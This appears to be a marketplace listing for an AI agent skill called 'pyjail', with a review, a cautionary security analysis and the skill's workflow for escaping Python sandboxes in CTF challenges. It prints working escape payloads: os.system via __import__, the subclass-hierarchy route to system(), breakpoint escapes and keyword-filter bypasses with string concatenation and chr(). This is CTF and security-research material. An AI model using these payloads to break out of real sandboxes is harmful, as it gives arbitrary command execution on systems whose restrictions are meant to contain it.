Our review
Helps bypass Python sandbox restrictions in restricted eval/exec environments, filtered input challenges, or Python jail challenges.
Strengths
- Provides multiple bypass techniques (builtins, class hierarchy, encoding).
- Includes a quick debug command to find useful subclass indices.
- Comes with detailed reference files for bypass techniques and complete payloads.
Limitations
- Some techniques depend on specific Python versions (e.g., breakpoint requires Python 3.7+).
- Does not cover all possible filter types (e.g., AST or bytecode filters).
- Reference files may become outdated with new bypass methods.
Use this skill when you need to execute commands in a restricted Python environment or solve a Python jail challenge.
Do not use for general Python development or non-restricted environments.
Security analysis
CautionThe skill equips an agent with techniques to bypass Python sandbox restrictions entirely, enabling arbitrary code execution. While intended for legitimate security research/CTF challenges, it lowers the barrier to executing powerful commands and could inadvertently cause harm if used improperly.
- •Provides Python escape payloads that can execute arbitrary system commands, which could be misused for destructive actions or data exfiltration if applied outside controlled CTF/sandbox environments.
Examples
I need to execute 'cat flag.txt' inside a Python jail that blocks '__import__'. Show me how to use class hierarchy to bypass.Help me find the index of a useful subclass to execute system commands in a Python jail by enumerating subclasses.The Python jail blocks the word 'os'. How can I call os.system using string concatenation or chr()?name: pyjail description: Escapes Python sandbox restrictions. Use when working with restricted Python eval/exec environments, sandbox escapes, filtered input challenges, or Python jail challenges. allowed-tools: Bash, Read, Write, Grep, Glob
Python Jail Escape Skill
Quick Workflow
Progress:
- [ ] Identify restrictions (blocked keywords/chars)
- [ ] Try basic escapes first
- [ ] If builtins blocked, use class hierarchy
- [ ] Bypass filters with encoding/concatenation
- [ ] Execute command to get flag
Quick Reference - Common Escapes
# Basic command execution
__import__('os').system('cat flag.txt')
eval("__import__('os').system('id')")
exec("import os; os.system('ls')")
# Using breakpoint (Python 3.7+)
breakpoint() # Drops into pdb, then !cat flag.txt
# No builtins - class hierarchy
().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('cat flag')
# Keyword bypass
__import__('o'+'s').system('cat flag')
__import__(chr(111)+chr(115)).system('cat flag')
Reference Files
| Topic | Reference | |-------|-----------| | Bypass Techniques | reference/bypass.md | | Complete Payloads | reference/payloads.md |
Quick Debugging
# Find useful class index
for i, c in enumerate(().__class__.__base__.__subclasses__()):
if 'wrap' in str(c): print(i, c)
# Check available builtins
dir(__builtins__)
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